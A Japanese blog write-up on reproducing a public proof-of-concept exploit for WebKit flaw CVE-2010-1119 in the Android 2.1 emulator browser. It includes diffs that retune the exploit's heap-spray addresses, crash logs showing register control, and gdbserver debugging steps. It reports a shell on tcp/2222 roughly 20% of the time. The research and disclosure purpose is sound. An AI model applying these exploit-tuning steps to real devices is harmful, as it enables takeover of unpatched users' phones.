Androidエミュレータで脆弱性CVE-2010-1119のExploitコードを実証してみる

2011 年 3 月にExploits Database にて、Android が採用している WebKit脆弱性CVE-2010-1119)の Exploit コードが公開されました。実際に Android エミュレータで、この Exploit コードを実証してみました。この日記では、Exploit コードの実証結果と実証までの経緯をまとめます。
この日記では WebKit脆弱性 CVE-2010-1119 について説明していません。CVE-2010-1119 については、Exploit コードのコメントで記載されている資料「Breaking Arms」で丁寧に解説されていますので、その資料を参照してください。

Exploit コードの実証結果

Androidエミュレータ 2.1-update1 の Androidアプリ「ブラウザ」で、該当 Exploit コードを閲覧したところ、CVE-2010-1119 の Exploit に成功してしました(下図)。Exploit に成功すると、Android エミュレータを動作しているホスト OS の 2222/tcpTCP 通信が確立し、シェル(/system/bin/sh)によるコマンド実行が可能となってしまいます。Exploit コードに成功する確率は、20% 程度でした*1


Exploit を成功させるために、該当 Exploit コードの一部を修正しました。修正箇所を diff コマンドの結果で示します。poc.html.org は Exploits Database で公開されている Exploit コードそのもの、poc.html は僕が修正した Exploit コードです。このように修正した理由については、後述の [再現までの経緯] を参照してください。

# diff poc.html.org poc.html
25c25
< setTimeout(function() { for (var i = 0; i < 70000; i++) {var s = new String(unescape("\u0058\u0058")); };
---
> setTimeout(function() { for (var i = 0; i < 70000; i++) {var s = new String(unescape("\u0078\u0078")); };
28c28
< var scode = unescape("\u0060\u0060");
---
> var scode = unescape("\u0098\u0098");

実証までの経緯

Exploit に成功するまでに、以下 3 つの手順を実施しました。

  1. CVE-2010-1119 の存在を確認する
  2. Androidアプリ「ブラウザ」のリモートデバッグ
  3. Exploitコードの修正
手順1. CVE-2010-1119 の存在を確認する

まず Android エミュレータ 2.1-update1 に搭載されている Android アプリ「ブラウザ」に CVE-2010-1119 が存在することを確認しました。脆弱性の存在有無については、レジスタ r0 に任意の値を設定できるか否かで判断しました。資料「Breaking Arms」のスライド 30 と同様の手順になります。

この確認において、Exploits Database で公開されている Exploit コードの一部を以下のように修正します。修正箇所を実証結果と同様に diff 結果で示します。

# diff poc.html.org poc.html
25c25
< setTimeout(function() { for (var i = 0; i < 70000; i++) {var s = new String(unescape("\u0058\u0058")); };
---
> setTimeout(function() { for (var i = 0; i < 70000; i++) {var s = new String(unescape("\u4141\u4141")); };

「ブラウザ」で修正した Exploit コードを閲覧しました。このとき、Android エミュレータを起動しているホスト OS で、「adb -e logcat」を実行しておき、Android エミュレータのログを確認しました。「ブラウザ」で Exploit コードを閲覧すると、以下のようなログが出力されます。レジスタ r0 が 41414141 となっていることを確認できました。この結果から、「ブラウザ」に CVE-2010-1119 の脆弱性が存在すると判断しました。

$>adb -e logcat
(略)
D/LocationManager(  496): removeUpdates: listener = android.webkit.GeolocationService@44cabae0
D/GpsLocationProvider(   52): stopNavigating
I/DEBUG   (   28): *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
I/DEBUG   (   28): Build fingerprint: 'generic/sdk/generic/:2.1-update1/ECLAIR/35983:eng/test-keys'
I/DEBUG   (   28): pid: 496, tid: 508  >>> com.android.browser <<<
I/DEBUG   (   28): signal 11 (SIGSEGV), fault addr 41414195
I/DEBUG   (   28):  r0 41414141  r1 0071bad8  r2 00000036  r3 54bf432b
I/DEBUG   (   28):  r4 0071bad8  r5 475f9048  r6 46e35640  r7 46ccc3c8
I/DEBUG   (   28):  r8 46cccd88  r9 46bccf1c  10 46bccf04  fp 0033ab78
I/DEBUG   (   28):  ip 00b1a470  sp 46ccc140  lr aa0482ab  pc aa04a57a  cpsr 60000030
I/DEBUG   (   28):          #00  pc 0004a57a  /system/lib/libwebcore.so
I/DEBUG   (   28):          #01  pc 001ae354  /system/lib/libwebcore.so
I/DEBUG   (   28):          #02  pc 0000c0de  /system/lib/libwebcore.so
(略)
手順2. Androidアプリ「ブラウザ」のリモートデバッグ

次に「ブラウザ」が異常終了した際に、Android NDK の gdbserbver と arm-eabi-gdb を使ってリモートデバッグします。
手順1. で修正した Exploit コードを元に戻して、繰り返し「ブラウザ」で Exploit コードを閲覧してみましたが、成功しませんでした。Exploit コードに成功しない原因には、CVE-2010-1119 を悪用する際に参照させる、またはロードするメモリアドレスの指定が間違っていると考えました。下図(1)で指定しているメモリアドレス 0x00580058 に、下図(2)の0x00600060の値が格納されていない場合や、下図*2(2)で指定しているメモリアドレス 0x00600060 に、下図(3) の 0x5005e1a0 とシェルコードが格納されていない場合、Exploit に失敗します。そこで、「ブラウザ」が異常終了したときにリモートデバッグし、ヒープ領域のどの辺りに 0x006000060(下図の(2))や 0x5005e1a0(下図の(3)) が格納されているか確認しました。

まず、リモートデバッグの事前準備を行いました。ホスト OS から以下のコマンドを実行しました。文頭が // の行は、僕のコメントです。

// gdbserver を Android エミュレータの /data に転送する。
$> adb -e push gdbserver /data
// gdbserver のパーミッションを変更する。
$> adb -e shell chmod 755 /data/gdbserver
// Android エミュレータの 8888/tcp をホスト OS の 8888/tcp にマッピングする。
$> adb -e forward tcp:8888 tcp:8888
// Android アプリやライブラリが異常終了したときにデバッグ可能とするパラメータを設定する。
// このパラメータが具体的にどのようなものか、きちんと知りません。参考情報を参照してください。
$> adb -e shell setprop debug.db.uid 32767

続いて、手順1. と同様に「adb -e logcat」を実行したうえで、「ブラウザ」で Exploit コードを閲覧しました。「ブラウザ」が異常終了すると、以下のようなログが出力されます。手順1. では出力されなかった "process 205 crashed. dubuggerd waiting for gdbserver" というログが出力されました。この出力に従い、gdbserver を起動すると、「ブラウザ」をリモートからデバッグできます。

I/DEBUG   (   28): *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
I/DEBUG   (   28): Build fingerprint: 'generic/sdk/generic/:2.1-update1/ECLAIR/35983:eng/test-keys'
I/DEBUG   (   28): pid: 205, tid: 217  >>> com.android.browser <<<
I/DEBUG   (   28): signal 11 (SIGSEGV), fault addr 00000000
I/DEBUG   (   28):  r0 0071f508  r1 0071f508  r2 00000000  r3 f30b0dcf
I/DEBUG   (   28):  r4 0071f508  r5 4784a048  r6 43006000  r7 46d543c8
I/DEBUG   (   28):  r8 46d54d88  r9 42f93f1c  10 42f93f04  fp 0033a410
I/DEBUG   (   28):  ip 00b1ef38  sp 46d54140  lr aa04a581  pc 00000000  cpsr 00000010
I/DEBUG   (   28):          #00  pc 00000000
I/DEBUG   (   28):          #01  pc 0004a57e  /system/lib/libwebcore.so
(略)
I/DEBUG   (   28):     46d5415c  43006000
I/DEBUG   (   28):     46d54160  aa1ae339  /system/lib/libwebcore.so
I/DEBUG   (   28):     46d54164  aa1ae359  /system/lib/libwebcore.so
I/DEBUG   (   28): ********************************************************
I/DEBUG   (   28): * process 205 crashed. debuggerd waiting for gdbserver
I/DEBUG   (   28): *
I/DEBUG   (   28): *     adb shell gdbserver :port --attach 205 &
I/DEBUG   (   28): *
I/DEBUG   (   28): * and press the HOME key.
I/DEBUG   (   28): ********************************************************

「adb -e logcat」を一度終了させ、以下のように gdbserver を起動しました。

$> adb -e shell /data/gdbserver :8888 --attach 205
Attached; pid = 205
Listening on port 8888

最後に、ホスト OS のコマンドプロンプトから「arm-eabi-gdb」を実行し、gdbserver の 8888/tcp に接続しました。接続が完了すると、「ブラウザ」のリモートデバッグが可能となります。リモートデバッグにて、ヒープのメモリダンプを実施して、0x006000060 や 0x5005e1a0 が格納されているアドレスを調べました。文頭が // の行は、僕のコメントです。

$>arm-eabi-gdb.exe
GNU gdb 6.6
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "--host=i586-mingw32msvc --target=arm-elf-linux".
(gdb)
// ローカルホストの 8888/tcp に接続する。この 8888/tcp の接続は、Anroid
// エミュレータの 8888/tcp に転送される(先の「adb -e forward」の設定)。
(gdb) target remote localhost:8888
Remote debugging using localhost:8888
0xafe0ca7c in ?? ()
// ヒープのメモリダンプを実施する。ヒープのメモリ空間については、
// Android エミュレータにおける /proc/<ブラウザのPID>/maps の
// [heap] で確認した。 
(gdb) dump memory hoge.dump 0x000a000 0x00b1f000

ヒープのメモリダンプ結果 hoge.dump をバイナリエディタで確認したところ、メモリアドレス 0x00580058(前述の図における(1))付近に 0x00600060 の値が格納されていませんでした。0x00600060 の値は、メモリアドレス 0x00741DD0 付近から 0x0092AC00 付近の範囲にまとめて格納されていました。また、0x5005e1a0 の値(前述の図における(2)でロードしたい値)は、メモリアドレス 0x0092AD10 付近から 0x00B14E80 付近の範囲にまとめて格納されていました*3

手順3. Exploitコードの修正

手順2. のリモートデバッグの結果をふまえて、Exploit コードを修正しました。修正箇所は、Exploit コードの実証結果で書いた通りです。"\u0078\u0078", "\u0098\u0098" を指定した理由は、特にありません。前者はメモリアドレス 0x00741DD0 から 0x0092AC00 の範囲、後者はメモリアドレス 0x0092AD10 から 0x00B14E80 の範囲から適当に決めました。

影響を受ける Android 機器とその対策

Android エミュレータ 2.1-update1 がこの脆弱性の影響を受けることを確認できましたが、同バージョンの Android を搭載したスマートフォンタブレットなどがこの脆弱性の影響を受けるか分かりません。Exploit の成功までは確認できていませんが、Xperia(SO-01B) (この日記執筆時点の最新バージョン)はこの脆弱性の影響を受ける*4と考えます。影響範囲がよく分からないため、今回のように Android に関連する脆弱性の対策については「Android 端末をアップデートする」などが書けないのが実情だと思っています(--;。Android を搭載したスマートフォンなどが着実に普及してきているわけですから、脆弱性対策情報の発信も改善してほしいです。

*1:「ブラウザ」で Exploit コードを 10 回閲覧したら、2 回成功し、残りは異常終了しました。

*2:問題箇所のアセンブリコードについては、「adb -e pull /system/lib/libwebcore.so .」で取得したライブラリを Android NDK に含まれる「arm-eabi-objdump」でディスアセンブリしました。

*3:このメモリアドレスの範囲以外にも、0x00600060 や 0x5005e1a0 が格納されている領域は当然あります。また「ブラウザ」実行ごとに変わる可能性はあります。

*4:レジスタ r1 に任意の値を設定でき、その値をロードするアセンブリコードを確認できたことから判断しています。